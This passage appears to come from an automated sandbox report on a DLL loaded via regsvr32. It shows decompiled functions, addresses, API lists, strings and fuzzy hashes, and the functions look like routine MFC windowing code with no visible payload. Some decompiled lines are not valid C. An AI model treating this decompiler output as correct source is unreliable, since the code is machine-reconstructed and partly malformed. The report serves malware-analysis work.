						_pop(_t78);
						_pop(_t65);
						return E100167D5(_t74, _t65,  *(_t79 + 0x98) ^ _t79, _t71, _t75, _t78);
					}
				}
			}

0x1000c209
0x1000c20a
0x1000c217
0x1000c21e
0x1000c22d
0x1000c233
0x1000c236
0x1000c239
0x1000c23e
0x1000c249
0x1000c24e
0x1000c251
0x1000c256
0x1000c256
0x1000c25c
0x1000c264
0x1000c26c
0x1000c291
0x1000c291
0x1000c293
0x1000c295
0x1000c295
0x00000000
0x1000c279
0x1000c283
0x1000c28b
0x00000000
0x1000c28d
0x1000c28d
0x1000c298
0x1000c298
0x1000c29e
0x1000c2a2
0x1000c2a5
0x1000c2ad
0x1000c2b4
0x1000c2b4
0x1000c2ad
0x1000c2bd
0x1000c2c5
0x1000c2cb
0x1000c2de
0x1000c2de
0x1000c2de
0x1000c2cd
0x1000c2d3
0x1000c2d5
0x1000c2d5
0x1000c2d3
0x1000c2cb
0x1000c2e5
0x1000c2e7
0x1000c2eb
0x1000c2f2
0x1000c2f5
0x1000c306
0x1000c308
0x1000c30a
0x1000c30a
0x1000c2ed
0x1000c2ed
0x1000c2ed
0x1000c311
0x1000c317
0x1000c318
0x1000c31b
0x1000c328
0x1000c32a
0x1000c32f
0x1000c32f
0x1000c335
0x1000c33c
0x1000c33c
0x1000c344
0x1000c352
0x1000c353
0x1000c356
0x1000c363
0x1000c363
0x1000c28b

APIs

Part of subcall function 1000C15E: GetParent.USER32(100014EC), ref: 1000C1B1
Part of subcall function 1000C15E: GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
Part of subcall function 1000C15E: IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
Part of subcall function 1000C15E: EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

EnableWindow.USER32(?,00000001), ref: 1000C256
GetWindowThreadProcessId.USER32(?,?), ref: 1000C264
GetCurrentProcessId.KERNEL32 ref: 1000C26E
SendMessageA.USER32 ref: 1000C283
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1000C300
EnableWindow.USER32(?,00000001), ref: 1000C33C

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID:
API String ID: 1877664794-0
Opcode ID: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction ID: 906afa4fd5bad6b09c7d7bb12576003d117f5a582180c2333a3862cf80afbe79
Opcode Fuzzy Hash: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction Fuzzy Hash: A1416A32A0035C9FFB31CFA58C85FDD7BA8EF05390F210129E949AB286D7709A408B50

Uniqueness

Uniqueness Score: -1.00%

Function 1000C15E, Relevance: 9.1, APIs: 6, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C15E(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t7;
				void* _t13;
				struct HWND__** _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				_t17 = _t18;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t17, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t16 = _t17;
						_t7 = _t17;
						if(_t17 == 0) {
							L10:
							if(_t18 == 0 && _t17 != 0) {
								_t17 = GetLastActivePopup(_t17);
							}
							_t15 = _a8;
							if(_t15 != 0) {
								if(_t16 == 0 || IsWindowEnabled(_t16) == 0 || _t16 == _t17) {
									 *_t15 =  *_t15 & 0x00000000;
								} else {
									 *_t15 = _t16;
									EnableWindow(_t16, 0);
								}
							}
							return _t17;
						} else {
							goto L9;
						}
						do {
							L9:
							_t16 = _t7;
							_t7 = GetParent(_t7);
						} while (_t7 != 0);
						goto L10;
					}
					_t17 = GetParent(_t17);
					L7:
					if(_t17 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t13 = E1000C087();
				if(_t13 != 0) {
					L4:
					_t17 =  *(_t13 + 0x20);
					goto L7;
				}
				_t13 = E1000A7CE();
				if(_t13 != 0) {
					goto L4;
				}
				_t17 = 0;
				goto L8;
			}

0x1000c166
0x1000c16e
0x1000c170
0x1000c18d
0x1000c19b
0x1000c1a6
0x1000c1a8
0x1000c1aa
0x1000c1ac
0x1000c1b7
0x1000c1b9
0x1000c1c6
0x1000c1c6
0x1000c1c8
0x1000c1ce
0x1000c1d2
0x1000c1f0
0x1000c1e3
0x1000c1e6
0x1000c1e8
0x1000c1e8
0x1000c1d2
0x1000c1f9
0x00000000
0x00000000
0x00000000
0x1000c1ae
0x1000c1ae
0x1000c1af
0x1000c1b1
0x1000c1b3
0x00000000
0x1000c1ae
0x1000c1a0
0x1000c1a2
0x1000c1a4
0x00000000
0x00000000
0x00000000
0x1000c1a4
0x1000c172
0x1000c179
0x1000c188
0x1000c188
0x00000000
0x1000c188
0x1000c17b
0x1000c182
0x00000000
0x00000000
0x1000c184
0x00000000

APIs

GetWindowLongA.USER32 ref: 1000C190
GetParent.USER32(100014EC), ref: 1000C19E
GetParent.USER32(100014EC), ref: 1000C1B1
GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction ID: b03ffd99d979528eb1576ebd7f6c5d6629826c0934e428a14188cd3025a76a69
Opcode Fuzzy Hash: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction Fuzzy Hash: CC11A33264533A57F221DB698C80F9A72ECDF4BAD0F260129FC44E329ADB60DC0242D5

Uniqueness

Uniqueness Score: -1.00%

Function 1001411A, Relevance: 9.0, APIs: 6, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1001411A(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0 && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

0x10014129
0x10014135
0x10014137
0x1001417a
0x1001417a
0x1001417c
0x10014180
0x00000000
0x00000000
0x10014146
0x1001415d
0x10014163
0x10014175
0x00000000
0x10014188
0x10014175
0x10014177
0x10014179
0x10014179
0x10014185

APIs

ClientToScreen.USER32(?,?), ref: 10014129
GetDlgCtrlID.USER32(00000000), ref: 1001413D
GetWindowLongA.USER32 ref: 1001414B
GetWindowRect.USER32 ref: 1001415D
PtInRect.USER32(?,?,?), ref: 1001416D
GetWindow.USER32(?,00000005), ref: 1001417A

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction ID: 106842abd73dbf2249684b53af78e8d9c6ae05809ec90903e9ae8d6f26667822
Opcode Fuzzy Hash: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction Fuzzy Hash: AA014F36500126BBDB12DF658C48EDE77ACEF15791F124114F911AA1A0DB30DA82CA94

Uniqueness

Uniqueness Score: -1.00%

Function 10012406, Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E10012406(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v52;
				signed int _v56;
				void* __ebp;
				intOrPtr _t122;
				void* _t128;
				intOrPtr _t130;
				signed int _t139;
				signed int _t144;
				signed int _t175;
				signed int _t177;
				signed int _t179;
				signed int _t181;
				signed int _t183;
				signed int _t187;
				void* _t190;
				intOrPtr _t191;
				signed int _t201;

				_t190 = __ecx;
				_t122 = E1000D5EC(__ebx, __edi, __esi, __eflags);
				_v8 = _t122;
				_t3 =  &_a4;
				 *_t3 = _a4 &  !( *(_t122 + 0x18));
				if( *_t3 == 0) {
					return 1;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t201 = 0;
				E100174D0(0,  &_v56, 0, 0x28);
				_v52 = DefWindowProcA;
				_t128 = E1000D5EC(__ebx, 0, 0, __eflags);
				__eflags = _a4 & 0x00000001;
				_v40 =  *((intOrPtr*)(_t128 + 8));
				_t130 =  *0x1005aa70; // 0x10003
				_t187 = 8;
				_v32 = _t130;
				_v16 = _t187;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0xb;
					_v20 = "AfxWnd80s";
					_t183 = E10012222(_t187, _t190, 0, 0, __eflags);
					__eflags = _t183;
					if(_t183 != 0) {
						_t201 = 1;
						__eflags = 1;
					}
				}
				__eflags = _a4 & 0x00000020;
				if(__eflags != 0) {
					_v56 = _v56 | 0x0000008b;
					_push( &_v56);
					_v20 = "AfxOleControl80s";
					_t181 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t181;
					if(_t181 != 0) {
						_t201 = _t201 | 0x00000020;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000002;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0;
					_v20 = "AfxControlBar80s";
					_v28 = 0x10;
					_t179 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t179;
					if(_t179 != 0) {
						_t201 = _t201 | 0x00000002;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000004;
				if(__eflags != 0) {
					_v56 = _t187;
					_v28 = 0;
					_t177 = E100123C5(_t190, __eflags,  &_v56, "AfxMDIFrame80s", 0x7a01);
					__eflags = _t177;
					if(_t177 != 0) {
						_t201 = _t201 | 0x00000004;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & _t187;
				if(__eflags != 0) {
					_v56 = 0xb;
					_v28 = 6;
					_t175 = E100123C5(_t190, __eflags,  &_v56, "AfxFrameOrView80s", 0x7a02);
					__eflags = _t175;
					if(_t175 != 0) {
						_t201 = _t201 | _t187;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000010;
				if(__eflags != 0) {
					_v12 = 0xff;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x3fc0);
					_t48 =  &_a4;
					 *_t48 = _a4 & 0xffffc03f;
					__eflags =  *_t48;
				}
				__eflags = _a4 & 0x00000040;
				if(__eflags != 0) {
					_v12 = 0x10;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x40);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000080;
				if(__eflags != 0) {
					_v12 = 2;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x80);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000100;
				if(__eflags != 0) {
					_v12 = _t187;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x100);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000200;
				if(__eflags != 0) {
					_v12 = 0x20;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x200);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000400;
				if(__eflags != 0) {
					_v12 = 1;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x400);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000800;
				if(__eflags != 0) {
					_v12 = 0x40;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x800);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00001000;
				if(__eflags != 0) {
					_v12 = 4;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x1000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00002000;
				if(__eflags != 0) {
					_v12 = 0x80;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x2000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00004000;
				if(__eflags != 0) {
					_v12 = 0x800;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x4000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00008000;
				if(__eflags != 0) {
					_v12 = 0x400;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x8000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00010000;
				if(__eflags != 0) {
					_v12 = 0x200;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x10000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00020000;
				if(__eflags != 0) {
					_v12 = 0x100;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x20000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00040000;
				if(__eflags != 0) {
					_v12 = 0x8000;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x40000);
					__eflags = _t201;
				}
				_t191 = _v8;
				 *(_t191 + 0x18) =  *(_t191 + 0x18) | _t201;
				_t139 =  *(_t191 + 0x18);
				__eflags = (_t139 & 0x00003fc0) - 0x3fc0;
				if((_t139 & 0x00003fc0) == 0x3fc0) {
					 *(_t191 + 0x18) = _t139 | 0x00000010;
					_t201 = _t201 | 0x00000010;
					__eflags = _t201;
				}
				asm("sbb eax, eax");
				_t144 =  ~((_t201 & _a4) - _a4) + 1;
				__eflags = _t144;
				return _t144;
			}

0x10012406
0x1001240c
0x10012411
0x10012419
0x10012419
0x1001241c
0x00000000
0x10012420
0x10012426
0x10012427
0x10012428
0x10012432
0x10012434
0x10012441
0x10012444
0x10012449
0x10012452
0x10012455
0x1001245a
0x1001245b
0x1001245e
0x10012461
0x10012466
0x10012467
0x1001246e
0x10012475
0x1001247a
0x1001247c
0x1001247e
0x1001247e
0x1001247e
0x1001247c
0x1001247f
0x10012483
0x10012485
0x1001248f
0x10012490
0x10012497
0x1001249c
0x1001249e
0x100124a0
0x100124a0
0x100124a0
0x1001249e
0x100124a3
0x100124a7
0x100124ac
0x100124ad
0x100124b0
0x100124b7
0x100124be
0x100124c3
0x100124c5
0x100124c7
0x100124c7
0x100124c7
0x100124c5
0x100124ca
0x100124ce
0x100124de
0x100124e1
0x100124e4
0x100124e9
0x100124eb
0x100124ed
0x100124ed
0x100124ed
0x100124eb
0x100124f0
0x100124f3
0x10012503
0x1001250a
0x10012511
0x10012516
0x10012518
0x1001251a
0x1001251a
0x1001251a
0x10012518
0x1001251c
0x10012520
0x1001252b
0x10012537
0x10012539
0x10012539
0x10012539
0x10012539
0x10012540
0x10012544
0x1001254c
0x10012558
0x10012558
0x10012558
0x1001255a
0x1001255e
0x10012569
0x10012575
0x10012575
0x10012575
0x1001257c
0x1001257f
0x10012586
0x1001258e
0x1001258e
0x1001258e
0x10012595
0x10012598
0x1001259f
0x100125ab
0x100125ab
0x100125ab
0x100125b2
0x100125b5
0x100125bc
0x100125c8
0x100125c8
0x100125c8
0x100125cf
0x100125d2
0x100125d9
0x100125e5
0x100125e5
0x100125e5
0x100125ec
0x100125ef
0x100125f6
0x10012602
0x10012602
0x10012602
0x10012609
0x1001260c
0x10012613
0x1001261f
0x1001261f
0x1001261f
0x10012626
0x10012629
0x10012630
0x10012638
0x10012638
0x10012638
0x1001263f
0x10012642
0x10012649
0x10012651
0x10012651
0x10012651
0x10012658
0x1001265b
0x10012662
0x1001266e
0x1001266e
0x1001266e
0x10012675
0x10012678
0x1001267f
0x1001268b
0x1001268b
0x1001268b
0x10012692
0x10012695
0x1001269c
0x100126a4
0x100126a4
0x100126a4
0x100126a6
0x100126a9
0x100126ac
0x100126b8
0x100126ba
0x100126bf
0x100126c2
0x100126c2
0x100126c2
0x100126d1
0x100126d3
0x100126d3
0x00000000

APIs

_memset.LIBCMT ref: 10012434

Strings

AfxFrameOrView80s, xrefs: 100124FA
@, xrefs: 10012540
AfxMDIFrame80s, xrefs: 100124D5
@, xrefs: 100125D9

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView80s$AfxMDIFrame80s
API String ID: 2102423945-4122032997
Opcode ID: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction ID: 475a3f3acc0ffbf0912b6f4f501dab117ae518df3bc7e116c44220daacf7d2ae
Opcode Fuzzy Hash: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction Fuzzy Hash: 658130B5D00259AADB41CFA4C581BDEBBF8FF08384F118165F949EA181E774DAD4CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 100017E0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1000C4C7: _memset.LIBCMT ref: 1000C4DE

_strlen.LIBCMT ref: 100018FF
_strlen.LIBCMT ref: 10001971
_strlen.LIBCMT ref: 100019B6
LoadIconA.USER32 ref: 100019FD

Strings

127.0.0.1, xrefs: 100018E8, 100018FA, 1000190E

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: _strlen$IconLoad_memset
String ID: 127.0.0.1
API String ID: 858515944-3619153832
Opcode ID: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction ID: 391a885bd144bb184e99009df4bcd3f8a2a5cd6933164126564d3f2e09fb5126
Opcode Fuzzy Hash: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction Fuzzy Hash: 835106B4D04298DBEB14CFA4D891B9DBBB1EF44344F1081A9E50D6B386DB356E44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1001486F, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 126
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E1001486F(void* __ebx, void** __ecx, void* __edx, void* __esi, char* _a4, short _a8) {
				signed int _v8;
				short _v72;
				char* _v76;
				signed int _v80;
				signed int* _v84;
				signed int _v88;
				intOrPtr _v92;
				void* __edi;
				void* __ebp;
				signed int _t54;
				void* _t66;
				short* _t70;
				signed int _t72;
				signed int _t81;
				signed int* _t83;
				short* _t84;
				void* _t91;
				signed int* _t98;
				signed int _t99;
				void** _t100;
				intOrPtr _t102;
				signed int _t104;
				signed int _t106;
				void* _t107;

				_t101 = __esi;
				_t97 = __edx;
				_t82 = __ebx;
				_t54 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t54 ^ _t106;
				_t100 = __ecx;
				_v76 = _a4;
				if(__ecx[1] != 0) {
					_push(__ebx);
					_push(__esi);
					_t83 = GlobalLock( *__ecx);
					_v84 = _t83;
					_v88 = 0 | _t83[0] == 0x0000ffff;
					_v80 = E100146B2(_t83);
					_t102 = (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1 + (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1;
					_v92 = _t102;
					if(_v88 == 0) {
						 *_t83 =  *_t83 | 0x00000040;
					} else {
						_t83[3] = _t83[3] | 0x00000040;
					}
					if(lstrlenA(_v76) >= 0x20) {
						L15:
						_t66 = 0;
					} else {
						_t97 = _t102 + MultiByteToWideChar(0, 0, _v76, 0xffffffff,  &_v72, 0x20) * 2;
						_v76 = _t97;
						if(_t97 < _t102) {
							goto L15;
						} else {
							_t70 = E100146DD(_t83);
							_t91 = 0;
							_t84 = _t70;
							if(_v80 != 0) {
								_t81 = E100169F6(_t84 + _t102);
								_t97 = _v76;
								_t91 = _t102 + 2 + _t81 * 2;
							}
							_t33 = _t97 + 3; // 0x3
							_t98 = _v84;
							_t36 = _t84 + 3; // 0x10002
							_t72 = _t91 + _t36 & 0xfffffffc;
							_t104 = _t84 + _t33 & 0xfffffffc;
							_v80 = _t72;
							if(_v88 == 0) {
								_t99 =  *(_t98 + 8) & 0x0000ffff;
							} else {
								_t99 =  *(_t98 + 0x10) & 0x0000ffff;
							}
							if(_v76 == _t91 || _t99 <= 0) {
								L17:
								 *_t84 = _a8;
								_t97 =  &_v72;
								E100147F2(_t84 + _v92, _t100, _t104, _t106, _t84 + _v92, _v76 - _v92,  &_v72, _v76 - _v92);
								_t100[1] = _t100[1] + _t104 - _v80;
								GlobalUnlock( *_t100);
								_t100[2] = _t100[2] & 0x00000000;
								_t66 = 1;
							} else {
								_t97 = _t100[1];
								_t95 = _t97 - _t72 + _v84;
								if(_t97 - _t72 + _v84 <= _t97) {
									E100147F2(_t84, _t100, _t104, _t106, _t104, _t95, _t72, _t95);
									_t107 = _t107 + 0x10;
									goto L17;
								} else {
									goto L15;
								}
							}
						}
					}
					_pop(_t101);
					_pop(_t82);
				} else {
					_t66 = 0;
				}
				return E100167D5(_t66, _t82, _v8 ^ _t106, _t97, _t100, _t101);
			}

0x1001486f
0x1001486f
0x1001486f
0x10014875
0x1001487c
0x10014883
0x10014889
0x1001488c
0x10014895
0x10014896
0x1001489f
0x100148ad
0x100148b0
0x100148b8
0x100148ce
0x100148d0
0x100148d3
0x100148db
0x100148d5
0x100148d5
0x100148d5
0x100148ea
0x10014968
0x10014968
0x100148ec
0x10014901
0x10014906
0x10014909
0x00000000
0x1001490b
0x1001490c
0x10014912
0x10014917
0x10014919
0x1001491f
0x10014924
0x10014928
0x10014928
0x1001492c
0x10014930
0x10014933
0x10014937
0x1001493a
0x10014941
0x10014944
0x1001494c
0x10014946
0x10014946
0x10014946
0x10014953
0x10014978
0x1001497f
0x10014988
0x10014990
0x1001499d
0x100149a0
0x100149a6
0x100149ac
0x1001495a
0x1001495a
0x10014961
0x10014966
0x10014970
0x10014975
0x00000000
0x00000000
0x00000000
0x00000000
0x10014966
0x10014953
0x10014909
0x100149ad
0x100149ae
0x1001488e
0x1001488e
0x1001488e
0x100149bb

APIs

GlobalLock.KERNEL32 ref: 10014899
lstrlenA.KERNEL32(?), ref: 100148E1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 100148FB

Strings

System, xrefs: 10014895

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWidelstrlen
String ID: System
API String ID: 1529587224-3470857405
Opcode ID: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction ID: 74ffa1d7f554f06ed3380e5a1b3eb1278af2c0b09513685a0b874fafc39ddc5e
Opcode Fuzzy Hash: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction Fuzzy Hash: FA41B271D00225DFDB04DFA4C885AAEBBB5FF04354F268129E411EF195EB70E986CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000B3AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E1000B3AF(void* __edx, signed int _a116, char _a120) {
				void _v12;
				char _v16;
				signed int _v20;
				int _v24;
				char _v124;
				char _v172;
				intOrPtr _v184;
				int __ebx;
				signed int __edi;
				signed int __esi;
				signed int __ebp;
				signed int _t26;
				unsigned int _t28;
				intOrPtr _t35;
				unsigned int _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t43;
				signed int _t45;

				_t45 =  &_v124;
				_t26 =  *0x10057a08; // 0xce1c5b24
				_a116 = _t26 ^ _t45;
				_push(_t43);
				_push(_t42);
				_t28 = GetMenuCheckMarkDimensions();
				_t38 = _t28;
				_t39 = _t28 >> 0x10;
				_v24 = _t39;
				if(_t28 <= 4 || __ecx <= 5) {
					_push(_t45);
					_push(_t39);
					_v172 = 0x10057298;
					E10017C83( &_v172, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, _t38, _t42, _t43);
					_t40 = E10013965(0x104);
					_v184 = _t40;
					_t35 = 0;
					_v172 = 0;
					if(_t40 != 0) {
						_t35 = E1000CF71(_t40);
					}
					return E10017C60(_t35);
				} else {
					if(__ebx > 0x20) {
						__ebx = 0x20;
					}
					__eax = __ebx - 4;
					asm("cdq");
					__eax = __ebx - 4 - __edx;
					__esi = __ebx + 0xf;
					__esi = __ebx + 0xf >> 4;
					__ebx - 4 - __edx = __ebx - 4 - __edx >> 1;
					__esi = __esi << 4;
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4);
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4) - __ebx;
					if(__edi > 0xc) {
						__edi = 0xc;
					}
					__eax = 0x20;
					if(__ecx > __eax) {
						_v24 = __eax;
					}
					 &_v12 = E100174D0(__edi,  &_v12, 0xff, 0x80);
					_v24 = _v24 + 0xfffffffa;
					_v24 + 0xfffffffa >> 1 = (_v24 + 0xfffffffa >> 1) * __esi;
					__ecx = __esi + __esi;
					__eax = __ebp + (_v24 + 0xfffffffa >> 1) * __esi * 2 - 0xc;
					__edx = 0x1002a144;
					_v20 = __esi + __esi;
					_v16 = 5;
					do {
						__si =  *__edx & 0x000000ff;
						__ecx = __edi;
						__si = ( *__edx & 0x000000ff) << __cl;
						__edx =  &(__edx[1]);
						__ecx = __si & 0x0000ffff;
						__eax->i = __ch;
